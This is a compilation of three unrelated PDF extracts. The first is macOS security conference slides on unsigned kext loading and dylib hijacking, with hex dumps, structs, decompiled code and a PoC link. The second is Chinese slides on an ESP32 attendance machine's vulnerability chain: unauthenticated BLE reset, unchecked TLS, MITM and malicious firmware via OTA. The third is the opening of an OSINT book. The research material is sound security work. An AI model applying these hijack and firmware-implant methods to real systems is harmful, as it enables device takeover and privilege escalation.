00000040 0b 00 00 00 08 00 00 00 a8 03 00 00 85 00 00 00 ................ 00000050 00 00 00 00 19 00 00 00 38 01 00 00 5f 5f 54 45 ........8...__TE 00000060 58 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 XT.............. ...... 00018ea0 00 00 00 00 3c 64 69 63 74 3e 3c 6b 65 79 3e 4b ....<dict><key>K 00018eb0 65 78 74 20 52 65 71 75 65 73 74 20 50 72 65 64 ext Request Pred 00018ec0 69 63 61 74 65 3c 2f 6b 65 79 3e 3c 73 74 72 69 icate</key><stri 00018ed0 6e 67 3e 4c 6f 61 64 3c 2f 73 74 72 69 6e 67 3e ng>Load</string> 00018ee0 3c 6b 65 79 3e 4b 65 78 74 20 52 65 71 75 65 73 <key>Kext Reques 00018ef0 74 20 41 72 67 75 6d 65 6e 74 73 3c 2f 6b 65 79 t Arguments</key 00018f00 3e 3c 64 69 63 74 3e 3c 6b 65 79 3e 53 74 61 72 ><dict><key>Star ...... 00019640 44 52 45 46 3d 22 32 22 2f 3e 3c 2f 64 69 63 74 DREF="2"/></dict 00019650 3e 3c 2f 61 72 72 61 79 3e 3c 2f 64 69 63 74 3e ></array></dict> 00019660 00 . MKEXT Packet mkext2_header mkext2_file_entry plist mkext2_file_entry … #define MKEXT_MAGIC 0x4D4B5854 /* 'MKXT' */ #define MKEXT_SIGN 0x4D4F5358 /* 'MOSX' */ typedef struct mkext2_header { // #define MKEXT_HEADER_CORE uint32_t magic; // always 'MKXT' uint32_t signature; // always 'MOSX' uint32_t length; // the length of the whole file uint32_t adler32; // checksum from &version to end of file uint32_t version; // a 'vers' style value uint32_t numkexts; // how many kexts are in the archive cpu_type_t cputype; // same as Mach-O cpu_subtype_t cpusubtype; // same as Mach-O uint32_t plist_offset; uint32_t plist_compressed_size; uint32_t plist_full_size; } mkext2_header; typedef struct mkext2_file_entry { uint32_t compressed_size; // if zero, file is not compressed uint32_t full_size; // full size of data w/o this struct uint8_t data[0]; // data is inline to this struct } mkext2_file_entry; The Kill-Switch • KEXT Validations • Code Signature • KEXT Staging • SKEL rootless_check_trusted_class OSKextIsAuthentic -[SPKernelExtensionPolicy canLoadKernelExtensionInCache:error] csr_check Load completely unsigned kext on macOS 10.13.6 (17G65) (chained with CVE-2019-8565 Apple Feedback Assistant local root privilege escalation) PoC • You can grab the source code here https://github.com/ChiChou/sploits/tree/master/ModJack PART 04 Patch and Mitigation The (unintended?) patch • The buggy code has been removed. It only loads a hard-coded path now • Released in the Developer Preview of macOS Mojave, before I noticed the bug on High Sierra. Looks more like code refactoring than a security fix void ____ZL22call_external_demanglePKc_block_invoke(void) { char *bDoNotDemangleSwift; void *handle; bDoNotDemangleSwift = _getenv("CS_DO_NOT_DEMANGLE_SWIFT"); if ((bDoNotDemangleSwift == NULL) || (((byte)(*bDoNotDemangleSwift - 0x30U) < 0x3f && ((0x4000000040000001U >> ((ulong)(byte)(*bDoNotDemangleSwift - 0x30U) & 0x1f) & 1) != 0)))) { handle = _dlopen("/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib",1); if (handle != 0) { __ZL25demanglerLibraryFunctions.0 = _dlsym(handle,"swift_demangle_getSimplifiedDemangledName"); } } return; } Wait, there’s another bug • But actually there’s another dylib hijacking that still present on macOS Mojave 10.14.2 • Directly triggered without any sandbox or environment string trick ➜ ~ sudo fs_usage | grep swift 10:29:53 stat64 /Applications/IINA.app/Contents/Frameworks/libswiftRemoteMirror.dylib 0.000020 stringdups 10:29:53 stat64 /Applications/IINA.app/Contents/Frameworks/libswiftRemoteMirrorLegacy.dylib 0.000010 stringdups 10:29:53 stat64 /Applications/IINA.app/Contents/libswiftRemoteMirror.dylib 0.000010 stringdups 10:29:53 stat64 /Applications/IINA.app/Contents/libswiftRemoteMirrorLegacy.dylib 0.000008 stringdups 10:29:53 stat64 /Applications/IINA.app/Contents/Resources/libswiftRemoteMirrorLegacy.dylib 0.000017 stringdups 10:29:53 stat64 /Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib 0.001133 stringdups ➜ ~ stringdups IINA Process: IINA [99806] Path: /Applications/IINA.app/Contents/MacOS/IINA Load Address: 0x10a422000 Identifier: com.colliderli.iina BOOL __cdecl -[VMUObjectIdentifier _dlopenLibSwiftRemoteMirrorFromDir:](VMUObjectIdentifier *self, SEL a2, NSString* directory) { if (!directory) return NO; if (!self->_libSwiftRemoteMirrorHandle) { handle = dlopen([[NSString stringWithFormat:@"%@/libswiftRemoteMirror.dylib", directory] UTF8String], RTLD_LAZY); ... if (!self->_libSwiftRemoteMirrorLegacyHandle) { handle = dlopen([[NSString stringWithFormat:@"%@/libswiftRemoteMirrorLegacy.dylib", directory] UTF8String], RTLD_LAZY); ... Another dylib Hijack • Bug location: /System/Library/PrivateFrameworks/Symbolication.framework -[VMUObjectIdentifier _dlopenLibSwiftRemoteMirrorFromDir:] • Triggered when gathering Swift runtime information with these commands • heap [pid] • stringdups [pid] Mitigation • The variant doesn’t work anymore on macOS Mojave • Hardened Runtime has been applied • The old SamplingTools binary copied from El Capitan will be enforced to have library validation, even they are signed without that flag • Only the binaries entitled with com.apple.security.cs.disable-library-validation can bypass • com.apple.SamplingTools have been renamed to have their unique identifiers (e.g. com.apple.SamplingTools.vmmap), and have a new entitlement com.apple.system-task-ports.safe Thanks @CodeColorist
pdf
考勤机的管理方式 本 地 管 理 局 域 网 管 理 互 联 网 管 理 星耀实验室是斗象科技网络安全发展战略的重要组成, 星耀之名取自《山海经》中的星耀独角兽,实验室专 注于前沿创新的安全技术的研究,覆盖包括红蓝对抗、 漏洞挖掘、IoT及移动安全等各安全细分领域,通过研 究积累和内部研发,为公司安全能力支撑保驾护航。 设备的外部通信 从简化后的通信架构来看,我们对设备的漏洞 挖掘可以从设备与云端的通信、以及设备与用 户的通信这两方面入手 流量分析 设备启动后会主动连接到 tls.*****.com 但是没有校验 服务器的证书 流量分析 设备=>云端 云端=>设备 设备向云端上传了自身的信息, 包括固件版本和操作系统类型 云端返回的数据中包含了大 量不明意义的二进制数据 设备采用了FreeRTOS系统,首先考虑植入恶意固件 但是修改这里的固件版本无法触发OTA 继续分析设备与云端的通信意义不大 BLE通信分析 移动端 (Android) App Log 开启ADB即可获 取日志 需要App打印BLE通信 相关Log Hook关键API Hook系统关键 API即可,通用 性强 需要熟悉移动安全相 关知识 通信信道 空口嗅探 硬件软件都有现 成的解决方案 无法处理加密通信 设备端 调试设备 无奈之选 需要分析固件,并开 启设备调试接口 BLE通信分析 针对本考勤机的情况,最简单的方法是 直接嗅探通信,通信内容均以明文传输, 通过分析可以知道通信数据的大体结构 BLE通信分析 用户在App中可以执行的操作、与设备可以执行的命令对应关系如下 激活/绑定: getActiveInfo -> getWifiInfo -> connectWifi -> active 切换WiFi: getWifiInfo -> handshake -> connectWifi 重置设备: resetDevice 获取设备状态 getActiveInfo 获取设备扫描的WiFi列表 getWifiInfo 控制设备连接到指定WiFi connectWifi 通知设备进行绑定操作 active 握手命令,用于身份认证 handshake 重置设备 resetDevice 重置设备时没有使用handshake进行身份认证, 所以通过BLE通信可以未授权重置设备 一点小插曲 实际上我们是通过调试设备来获取BLE通信数据的 MCU提供了SDK及 示例代码,可以 用来分析BLE协议 栈的使用方式 示例代码中有一部分日志,这些字符串 在固件中同样也出现了,通过交叉引用 可以确定固件中BLE协议栈的相关代码 一点小插曲 一点小插曲 使用gdb调试脚本,在关键代码处下断点 并以hexdump的形式输出BLE通信数据 至此,我们发现可以在不需要任何前置条件的情况下,进行中间人攻击 未授权重置 设备 未校验TLS 证书 ??? 劫持设备连接到指 定WiFi 那么控制了云端与设备之间的通信后,有何危害 要解答这个问题,需要先对设备固件进行分析 MITM篡改通 信数据 拆解设备 PCF8563 RTC芯片 GD25Q128 128M-bit Flash芯片 ESP32 MCU,xtensa架构 ESP32 GD25Q128 PCF8563 UART 拆解设备 ESP32需要Flash遵守固定的分区格式[1] 结合串口打印的数据,提取ota_0分区 使用IDA加载ota_0分区[2] 拆解设备 TDI TDO TCLK TMS GND VDD 可以使用JTAG调试 ESP32[3],但是会在执行 到某一条命令后中断 拆解设备 多次尝试后发现I2C接口初始化 完成后就会中断JTAG调试 由芯片手册可以发现,JTAG接口的TDO 引脚可以复用作I2C的SDA引脚 PCF8563芯片使 用了I2C接口 跳过I2C初始化之后,设备可以正常调试,但是 获取不到正确的日期时间 准备工作完成,可以开始分析固件了 分析固件 从字符串入手逆向OTA流程 分析固件 被动等待设备进行OTA 查询耗时太长, 故考虑通过调试触发 OTA更新 OTA查询请求每隔一小时触发一次 分析固件 通过调试触发OTA流程 由atmStateSync请求查询云端是否有新版本固件 (1)设备发送给云端的的设备固件版本号 (2)云端最新的固件版本 (3)OTA镜像的URL (4)OTA镜像的MD5校验 (1) (2) (3) (4) 分析固件 启动固件更新需要两个条件满足其一 分析固件 通过HTTP请求获取固件 HTTP Response Header中需包含OTA镜像长度、MD5校验值 和Content-Type 分析固件 通过MD5检查后,还需要检查OTA镜像的hash值, 检查通过后镜像会被写入OTA分区 分析固件 启动时bootloader读取OTA分区并进行校验 利用设备的OTA功能 我们有了一条完整的漏洞链 未授权重 置设备 未校验 TLS证书 植入恶意 固件 劫持设备连接到 指定WiFi MITM篡改 通信数据 顺便还有一个不太好利用[4]的栈溢出 content_type = strstr(httpRspHeader, “Content-Type”) sscanf(content_type, “%*s %s”, sp + 4) [1]ESP32的Flash分区: docs.espressif.com/projects/espressif-esp-moonlight/zh_CN/latest/firmwareupgrade.html [2]IDA加载ESP32程序镜像的插件:github.com/jrozner/esp-image-ida xtensa架构的反汇编插件:github.com/themadinventor/ida-xtensa [3]使用JTAG接口调试ESP32: docs.espressif.com/projects/esp-idf/zh_CN/v4.2/esp32/api-guides/jtag-debugging/index.html [4]ESP32的Register Window机制及栈溢出的利用:emb-team.com/exploiting-vulnerabilities-on-xtensa/ [5]
pdf
Open Source Intelligence Methods and Tools A Practical Guide to Online Intelligence Nihad A. Hassan Rami Hijazi Open Source Intelligence Methods and Tools: A Practical Guide to Online Intelligence ISBN-13 (pbk): 978-1-4842-3212-5 ISBN-13 (electronic): 978-1-4842-3213-2 https://doi.org/10.1007/978-1-4842-3213-2 Library of Congress Control Number: 2018948821 Copyright © 2018 by Nihad A. Hassan, Rami Hijazi This work is subject to copyright. All rights are reserved by the Publisher, whether the whole or part of the material is concerned, specifically the rights of translation, reprinting, reuse of illustrations, recitation, broadcasting, reproduction on microfilms or in any other physical way, and transmission or information storage and retrieval, electronic adaptation, computer software, or by similar or dissimilar methodology now known or hereafter developed. Trademarked names, logos, and images may appear in this book. Rather than use a trademark symbol with every occurrence of a trademarked name, logo, or image we use the names, logos, and images only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. The use in this publication of trade names, trademarks, service marks, and similar terms, even if they are not identified as such, is not to be taken as an expression of opinion as to whether or not they are subject to proprietary rights. While the advice and information in this book are believed to be true and accurate at the date of publication, neither the authors nor the editors nor the publisher can accept any legal responsibility for any errors or omissions that may be made. The publisher makes no warranty, express or implied, with respect to the material contained herein. Managing Director, Apress Media LLC: Welmoed Spahr Acquisitions Editor: Susan McDermott Development Editor: Laura Berendson Coordinating Editor: Rita Fernando Cover designed by eStudioCalamar Cover image designed by Freepik (www.freepik.com) Distributed to the book trade worldwide by Springer Science+Business Media New York, 233 Spring Street, 6th Floor, New York, NY 10013. Phone 1-800-SPRINGER, fax (201) 348-4505, e-mail orders-ny@springer- sbm.com, or visit www.springeronline.com. Apress Media, LLC is a California LLC and the sole member (owner) is Springer Science + Business Media Finance Inc (SSBM Finance Inc). SSBM Finance Inc is a Delaware corporation. For information on translations, please e-mail [email protected], or visit www.apress.com/ rights-permissions. Apress titles may be purchased in bulk for academic, corporate, or promotional use. eBook versions and licenses are also available for most titles. For more information, reference our Print and eBook Bulk Sales web page at www.apress.com/bulk-sales. Any source code or other supplementary material referenced by the author in this book is available to readers on GitHub via the book's product page, located at www.apress.com/9781484232125. For more detailed information, please visit www.apress.com/source-code. Printed on acid-free paper Nihad A. Hassan New York, USA Rami Hijazi Mississauga, Ontario, Canada To my mom, Samiha, thank you for everything. Without you, I'm nothing. —Nihad A. Hassan v About the Authors xiii About the Technical Reviewer xv Acknowledgments xvii Introduction xix Table of Contents Chapter 1: The Evolution of Open Source Intelligence 1 Open Source Information Categories 3 OSINT Types 5 Digital Data Volume 5 OSINT Organizations 6 Government Organizations 7 Private Sector 7 Gray Literature Vendors 8 Parties Interested in OSINT Information 10 Government 10 International Organizations 11 Law Enforcement Agencies 11 Business Corporations 12 Penetration Testers and Black Hat Hackers/Criminal Organizations 12 Privacy-Conscious People 13 Terrorist Organizations 13 Information Gathering Types 14 Passive Collection 14 Semipassive 14 Active Collection 15 vi Benefits of OSINT 15 Challenges of Open Source Intelligence 16 Legal and Ethical Constraints 17 Summary 18 Notes 19 Chapter 2: Introduction To Online Threats and Countermeasures 21 Online Threats 22 Malware 22 Black Hat Hackers 23 Pharming 23 Phishing 24 Ransomware 27 Adware and Spyware 28 Trojan 29 Virus 29 Worms 29 Scareware 29 Rootkits 30 Juice Jacking 30 Wi-Fi Eavesdropping 30 Security Software 31 Antivirus 31 Firewall 32 Anti-malware 33 Securing the Operating System 33 Hardening the Windows OS 34 Staying Private in Windows 10 39 Destroying Digital Traces 41 General Privacy Settings 45 Covering Your Laptop Camera 45 Avoiding Pirated Software 45 Table of ConTenTs vii Handling Digital Files Metadata 46 Physically Securing Computing Devices 50 Online Tracking Techniques 52 Tracking Through IP Address 52 Cookies 55 Digital Fingerprinting 57 HTML5 58 Checking Your Digital Footprint 58 Secure Online Browsing 59 Configuring Firefox to Become More Private 59 Secure Online Communication 64 VPN 65 Proxies 66 DNS Leak Test 67 Online Anonymity 69 Using the TOR Network 69 Using the Tails OS and Other Security OSs 76 Sharing Files Securely 77 Making Anonymous Payments 79 Encryption Techniques 81 Securing Your Passwords 81 Encrypting Your Hard Drive/USB Sticks 82 Cloud Storage Security 82 Secure E-mail Communications 83 Virtualization Technology 86 Android and iOS Emulator 88 Essential Prerequisites 88 Drawing Software and Data Visualization 89 Free Translation Services 92 Final Tips 92 Summary 94 Table of ConTenTs viii Chapter 3: The Underground Internet 95 Layers of the Internet 96 Darknet Users 103 Accessing the Darknet 104 Security Checks When Accessing the Darknet 104 Accessing the Darknet from Within the Surface Web 106 Using Tor 107 Using the Tails OS 109 Warning When Using the Tails OS 114 Searching the Tor Network 115 Other Anonymity Networks 116 I2P 117 Freenet 123 Going Forward 123 Summary 124 Notes 125 Chapter 4: Search Engine Techniques 127 Keywords Discovery and Research 129 Using Search Engines to Locate Information 130 Google 130 Bing 138 Privacy-Oriented Search Engines 140 Other Search Engines 141 Business Search Sites 142 Metadata Search Engines 147 Code Search 150 FTP Search Engines 151 Automated Search Tools 152 Internet Of Things (IoT) Device Search Engines 153 Web Directories 154 Table of ConTenTs ix Translation Services 156 Website History and Website Capture 158 Website Monitoring Services 160 RSS Feed 162 News Search 163 Customize Google News 164 News Websites 166 Fake News Detection 166 Searching for Digital Files 170 Document Search 170 Image 183 Video 191 File Extension and File Signature List 196 Productivity Tools 196 Summary 201 Notes 201 Chapter 5: Social Media Intelligence 203 What Is Social Media Intelligence? 205 Social Media Content Types 206 Classifications of Social Media Platforms 208 Popular Social Networking Sites 210 Investigating Social Media Sites 211 Facebook 211 Twitter 231 Google+ 241 LinkedIn 247 General Resources for Locating Information on Social Media Sites 253 Other Social Media Platforms 254 Pastebin Sites 255 Table of ConTenTs x Social Media Psychological Analysis 256 Tone Analyzer 257 Watson Tone Analyzer 257 Facebook and Twitter Prediction 258 Fake Sport 258 Review Meta 258 TweetGenie 258 Summary 258 Notes 259 Chapter 6: People Search Engines and Public Records 261 What Is a People Search Engine? 261 What Are Public Records? 262 Example of Public Records 263 Searching for Personal Details 264 General People Search 264 Online Registries 268 Vital Records 269 Criminal and Court Search 272 Property Records 273 Tax and Financial Records 274 Social Security Number Search 275 Username Check 275 E-mail Search and Investigation 275 Data Compromised Repository Websites 277 Phone Number Search 279 Employee Profiles and Job Websites 280 Dating Website Search 281 Other Public Records 283 Summary 284 Notes 284 Table of ConTenTs xi Chapter 7: Online Maps 285 The Basics of Geolocation Tracking 285 How to Find the GPS Coordinates of Any Location on a Map 286 How to Find the Geocode Coordinates from a Mailing Address 288 General Geospatial Research Tools 288 Commercial Satellites 294 Date/Time Around the World 294 Location-Based Social Media 295 YouTube 295 Facebook 296 Twitter 298 Other Social Media Platforms 302 Conducting Location Searches on Social Media Using Automated Tools 303 Country Profile Information 304 Transport Tracking 304 Air Movements 305 Maritime Movements 307 Vehicles and Railway 309 Package Tracking 310 Webcams 311 Digital File Metadata 312 Summary 312 Chapter 8: Technical Footprinting 313 Investigate the Target Website 314 Investigate the Robotstxt File 316 Mirror the Target Website 317 Extract the Links 317 Check the Target Website’s Backlinks 318 Monitor Website Updates 318 Check the Website’s Archived Contents 318 Table of ConTenTs xii Identify the Technologies Used 319 Web Scraping Tools 322 Investigate the Target Website’s File Metadata 324 Website Certification Search 325 Website Statistics and Analytics Tools 325 Website Reputation Checker Tools 326 Passive Technical Reconnaissance Activities 327 WHOIS Lookup 327 Subdomain Discovery 329 DNS Reconnaissance 332 IP Address Tracking 337 Summary 339 Chapter 9: What’s Next? 341 Where Will OSINT Go Next? 341 OSINT Process 343 Final Words 344 Index 345 Table of ConTenTs xiii About the Authors Nihad A. Hassan is an independent information security consultant, digital forensics and cybersecurity expert, online blogger, and book author. He has been actively conducting research on different areas of information security for more than a decade and has developed numerous cybersecurity education courses and technical guides. He has completed several technical security consulting engagements involving security architectures, penetration testing, computer crime investigation, and cyber open source intelligence (OSINT). Nihad has authored four books and scores of information security articles for various global publications. He also enjoys being involved in security training, education, and motivation. His current work focuses on digital forensics, anti- forensics techniques, digital privacy, and cyber OSINT. He covers different information security topics and related matters on his security blog at www.DarknessGate.com and recently launched a dedicated site for open source intelligence resources at www.OSINT. link. Nihad has a bachelor’s of science honors degree in computer science from the University of Greenwich in the United Kingdom. Nihad can be followed on Twitter (@DarknessGate), and you can connect to him via LinkedIn at https://www.linkedin.com/in/darknessgate. Rami Hijazi has a master’s degree in information technology (information security) from the University of Liverpool. He currently works at MERICLER Inc., an education and corporate training firm in Toronto, Canada. Rami is an experienced IT professional who lectures on a wide array of topics, including object-oriented programming, Java, e-commerce, agile development, database design, and data handling analysis. Rami also works as information security consultant, where he is involved in designing encryption systems and wireless networks, detecting intrusions and tracking data breaches, and giving planning and development advice for IT departments concerning contingency planning. xv About the Technical Reviewer Reem Naddar has a bachelor’s of science degree in mathematics from Dalhousie University and has been in the data analytics industry since 2006. She has substantial experience in designing and executing solutions that address complex business problems involving large-scale data warehousing, real-time analytics, software architecture, and reporting solutions. She employs leading-edge tools and techniques when implementing fast and efficient data acquisition including Big Data processing used by global practitioners. Reem has worked for major corporations and chartered banks in Canada both as a contractor and as a permanent staff member. She is fond of open source intelligence (OSINT) projects where she adopts different frameworks and processes to capture, transform, analyze, and store terabytes of structured and unstructured data gathered from publicly available sources. xvii Acknowledgments I start by thanking God for giving me the gift to write and convert my ideas into something useful. Without God’s blessing, I would not be able to achieve anything. I want to thank the ladies at Apress: Susan, Rita, and Laura. I was pleased to work with you again and very much appreciate your valuable feedback and encouragement. Specifically, to book acquisitions editor Susan McDermott, thank you for believing in my book’s idea and for your honest encouragement before and during the writing process. To book project editor Rita Fernando, you were very supportive during the writing process. You made authoring this book a joyful journey. To book development editor Laura Berendson, thank you very much for your diligent and professional work in producing this book. I also want to thank all the Apress staff who worked behind the scenes to make this book possible and ready for launch. I hope you will continue your excellent work in creating highly valued computing books. Your work is greatly appreciated. —Nihad A. Hassan xix Introduction Open Source Intelligence Methods and Tools focuses on building a deep understanding of how to exploit open source intelligence (OSINT) techniques, methods, and tools to acquire information from publicly available online sources to support intelligence analysis. The harvested data can be used in different scenarios such as financial, crime, and terrorism investigations as well as in more regular tasks such as analyzing business competitors, running background checks, and acquiring intelligence about individuals and other entities. This book will also improve your skills in acquiring information online from the surface web, the deep web, and the darknet. Many estimates show that 90 percent of useful information acquired by intelligence services comes from public sources (in other words, OSINT sources). Social media sites open up numerous opportunities for investigations because of the vast amount of useful information located in one place. For example, you can get a great deal of personal information about any person worldwide by just checking their Facebook page. This book will show you how to conduct advanced social media investigations to access content believed to be private, use advanced search engines queries to return accurate results, search historical deleted versions of websites, track individuals online using public record databases and people-searching tools, locate information buried in the deep web, access and navigate the dark web, collect intelligence from the dark web, view multiple historic satellite images and street views of any location, search geolocation information within popular social media sites, and more. In short, you will learn how to use a plethora of techniques, tools, and free online services to gather intelligence about any target online. OSINT-gathering activities should be conducted secretly to avoid revealing the searcher’s identity. Therefore, this book will teach you how to conceal your digital identity and become anonymous online. You will learn how to exchange data secretly across hostile environments like the Internet and how to communicate with your peers privately and anonymously. You will also learn how to check your digital footprint and discover what kind of digital traces you are leaving behind and how to delete them. xx Open Source Intelligence Methods and Tools is an indispensable guide for anyone responsible for collecting online content from public data, and it is a must-have reference for any casual Internet user who wants to dig deeper into the Internet to see what information it contains. Target Audience The following types of people will benefit from this book: • Penetration testers • Digital forensics investigators • Intelligence services • Military personnel • Law enforcement • UN agencies and nonprofit organizations • For-profit enterprises • Risk management professionals • Journalists • Academic researchers • University students • End users who want to learn how to exploit Internet resources effectively What the Book Is Not This book is not about the history of open source intelligence, and it does not discuss at length the legal issues of personal reconnaissance online. We will not talk about policies and regulations that govern different countries or business organizations. Although some of these issues are discussed briefly in Chapter 1, the main aim of this book is to create a guidebook to support all types of investigations. You can read the chapters in any order because each chapter is considered an isolated unit that discusses the chapter subject’s comprehensively. InTroduCTIon xxi Summary of Contents Here is a brief description of each chapter’s contents: • Chapter 1, “The Evolution of Open Source Intelligence”: In this chapter, we introduce you to the term OSINT and explain how it has evolved over time. We introduce the different parties interested in exploiting publicly available data and the benefits gained from doing so. We include some technical information about online gathering techniques and the challenges involved, as well as the legal aspects when harvesting data from publicly available sources. • Chapter 2, “Introduction To Online Threats and Countermeasures”: In this chapter, we teach you everything you need to know to stay safe when going online. This knowledge is essential when conducting advanced searches online to avoid being tracked since using advanced search operators and other OSINT search techniques will attract attention online and make your connection a target for interception by different outside parties. • Chapter 3, “The Underground Internet”: This chapter is devoted to uncovering the secrets of the invisible web, which contains both the darknet and the deep web. This knowledge is essential as the underground net contains a wealth of valuable information that any cybersecurity professional should know how to access. • Chapter 4, “Search Engine Techniques”: In this chapter, we show you how to use advanced search techniques using typical search engines such as Google and Bing to find anything online. We also cover other specialized search engines for images, video, news, web directories, files, and FTP. • Chapter 5, “Social Media Intelligence”: In this chapter, we show you how to use a wide array of tools and techniques to gather intelligence about a specific person or entity from social media sites. For instance, using Facebook you can gather intelligence about people worldwide. Other major tech companies like Google and Microsoft own huge databases of information about their users. A great amount of information is published publicly on these sites, and this chapter InTroduCTIon xxii teaches you how to search for people, including their relationships, names, addresses, and communications (and interactions) with others on social sites, to formulate a complete profile about your target. • Chapter 6, “People Search Engines and Public Records”: Here we list specific search engines and other public resources to search for people’s names and get details around them. You will learn to use different reverse search criteria to find people online such as birth records, mail addresses, résumés, dating websites, e-mails, phone numbers, previous breached usernames, and more. We also cover government resources such as vital records, tax records, criminal information, and other public sources you can use to gain intelligence about people and entities. • Chapter 7, “Online Maps”: This chapter covers how to use Google Maps and other free geolocation services to investigate the geolocation information acquired about target people. • Chapter 8, “Technical Footprinting”: This chapter covers how to gather technical information about a target website and network system in passive mode to support your OSINT intelligence. • Chapter 9, “What’s Next?”: This chapter covers the OSINT process and its future trends. Book Companion Website In this book, we list hundreds of online services that help OSINT gatherers to collect and analyze information. We all know about the ever-changing nature of the Web, though; new sites launch and others close down daily, so some links might not work by the time you read this. To prevent this hassle and to avoid making part of this book useless after publishing it, we have created a dedicated website where we offer a digital list of all the links mentioned in this book in addition to many more resources that just wouldn’t fit in the printed version. We will do our best to keep this site updated and continually work to add new useful OSINT content that reflects improvements in the field. Dead links will get deleted or updated, so the content of this book will remain current for many years to come. See www.OSINT.link. InTroduCTIon xxiii Comments and Questions To comment or ask technical questions about this book, send an e-mail to [email protected]. For additional references about the subject, computer security tools, tutorials, and other related matters, check out the author’s blog at www.DarknessGate.com. InTroduCTIon 1 © Nihad A. Hassan, Rami Hijazi 2018 N. A. Hassan and R. Hijazi, Open Source Intelligence Methods and Tools, https://doi.org/10.1007/978-1-4842-3213-2_1 CHAPTER 1 The Evolution of Open Source Intelligence Since the end of the Cold War, global societies have become more open, and the revolution of the Internet and its widespread use have turned the world into a small village. Unleashing the Internet network to billions of people worldwide to communicate and exchange digital data has shifted the entire world into what is now an information age. This transformation to the digital age brought huge benefits to our society; however, the speed and scope of the transformation have also triggered different kinds of risks. For instance, cybercriminals, terrorist groups, oppressive regimes, and all kinds of malicious actors are using the Internet effectively to conduct their crimes. Juniper Research predicts that cybercrime will cost businesses more than $2 trillion by 2019,i so these risks encourage governments to invest in the development of open source intelligence (OSINT) tools and techniques to counter current and future cybersecurity challenges. OSINT refers to all the information that is publicly available. There is no specific date on when the term OSINT was first proposed; however, a relative term has probably been used for hundreds of years to describe the act of gathering intelligence through exploiting publicly available resources. The United States is still leading the world in the intelligence arena, with vast resources dedicated by the U.S. government to its intelligence agencies that enable it to build sophisticated surveillance programs to harvest and analyze a large volume of data covering all the major spoken languages. This makes our discussion of OSINT history largely dependent on U.S. history, although during the Cold War many countries also developed OSINT capabilities to gain intelligence. Still, no other country has reached the level of the U.S. programs. 2 The U.S. Department of Defense (DoD) defines OSINT as follows: “Open-source intelligence (OSINT) is an intelligence that is produced from publicly available information and is collected, exploited, and disseminated in a timely manner to an appropriate audience for the purpose of addressing a specific intelligence requirement.”ii In modern times, OSINT was introduced during World War II as an intelligence tool when the United States established the Foreign Broadcast Information Service (FBIS) to monitor publicly available information that related to supporting its troop operations at that time. This all happened before the U.S. intelligence community even existed. After the end of World War II, the FBIS has continued its work in exploiting OSINT sources globally, until the September 11, 2001, terror attacks on the United States. This drew attention to the importance of creating an independent OSINT agency to intensify exploiting these resources to protect national security. This is what was suggested by the 9/11 Commission, which called for the creation of a specialized agency for gathering OSINT.iii In 2005, the WMD Commission, which was formed to measure the effectiveness of the intelligence community to respond to threats raised by weapons of mass destruction (WMD) and other related threats of the 21st century, suggested the creation of an Open Source Directorate within the Central Intelligence Agency (CIA).iv Following these recommendations and other debates, the Director of National Intelligence (DNI) announced the creation of the National Intelligence Open Source Center (OSC). The main tasks of the OSC are to collect information available from both online and offline public sources, which was previously done by the FBIS. Later, the Intelligence Reform and Terrorism Prevention Act, which was proposed to reform the intelligence activities of the U.S. government, merged the FBIS and other related research entities into one body. This organization is now called the Open Source Enterprise and is managed by the CIA. OSINT sources are distinguished from other forms of intelligence because they must be legally accessible by the public without breaching any copyright or privacy laws. That’s why they are considered “publicly available.” This distinction makes the ability to gather OSINT sources applicable to more than just security services. For example, businesses can benefit from exploiting these resources to gain intelligence about their competitors. Chapter 1 the evolution of open SourCe intelligenCe 3 Note! During the search for oSint sources, classified information that is not protected properly can appear. this includes leaked documents, such as those published by Wikileaks. this type of information is called noSint, as opposed to oSint. intelligence usually considers all sources regardless of their legal accessibility. In addition to its significant importance to the intelligence community, OSINT gathering is less expensive and less risky than traditional spying activites. Unlike other intelligence sources that may require using spy satellite images or secret agents to collect information, all you need to gather OSINT online resources is a computer and an Internet connection. And, of course, you need the required searching skills. As technology proliferates and the volume of available data increases, government departments, nongovernmental organization (NGO) organizations, and business corporations are starting to rely to a large extent on OSINT rather than private and classified information. This book will teach you how to exploit OSINT sources to search for and gather information online. In this chapter, we will describe the term OSINT, discuss the types of OSIN, and talk about different parties’ benefits from using OSINT and their motivations, as well as trends and challenges for the future. In later chapters, we will cover how to use a plethora of tools and techniques to acquire data from publicly available sources. Open Source Information Categories There are different kinds of information that you may encounter when conducting OSINT analysis. According to the NATO Open Source Intelligence Handbook V1.2 published in 2001, there are four categories of open information and intelligence. • Open source data (OSD): This is generic data coming from a primary source. Examples include satellite images, telephone call data and metadata, datasets, survey data, photographs, and audio or video recordings that have recorded an event. • Open source information (OSINF): This is generic data that has undergone some filtering first to meet a specific criterion or need; this data can also be called a secondary source. Examples include books about a specific subject, articles, dissertations, artworks, and interviews. Chapter 1 the evolution of open SourCe intelligenCe 4 Note! the set of sources legally available to the public through specific channels is called gray literature. these sources include books, journals, dissertations, technical reports, and internal documents of commercial enterprises, commercial imagery, and any information that is controlled by its producer. gray literature is a major element of oSinf and can be obtained legally by acquiring the permission of its copyright holder or by paying for it (for example, through subscriptions agencies, commercial bookstores, and so on). • Open source intelligence (OSINT): This includes all the information that has been discovered, filtered, and designated to meet a specific need or purpose. This information can be used directly in any intelligence context. OSINT can be defined in a nutshell as the output of open source material processing. • Validated OSINT (OSINT-V): This is OSINT with a high degree of certainty; the data should be confirmed (verified) using a non-OSINT source or from a highly reputable OSINT source. This is essential, as some outside adversaries may spread inaccurate OSINT information with the intent to mislead OSINT analysis. A good example of this is when a TV station broadcasts live the arrival of a president to another country; such information is OSINT, but it has a large degree of certainty. As you saw, OSD and OSINF comprise the main sources (primary and secondary) of information that OSINT uses to drive its results. Another issue you need to understand within the OSINT context is the difference between data, information, and knowledge. The three terms are usually used interchangeably; however, each one has a different meaning, although the three do interact with each other. • Data: This is a set of facts describing something without further explanation or analysis. For example, “The price of gold per ounce is $1,212.” • Information: This is a kind of data that has been interpreted properly to give a useful meaning within a specific context. For example, “The price of gold per ounce has fallen from $1,212 to $1,196 within one week.” Chapter 1 the evolution of open SourCe intelligenCe 5 • Knowledge: This is a combination of information, experience, and insight that has been learned or inferred after some experimentation. Knowledge describes what your brain has recorded in the past, and these records can help you to make better decisions about the future when facing similar contexts. For example, “When 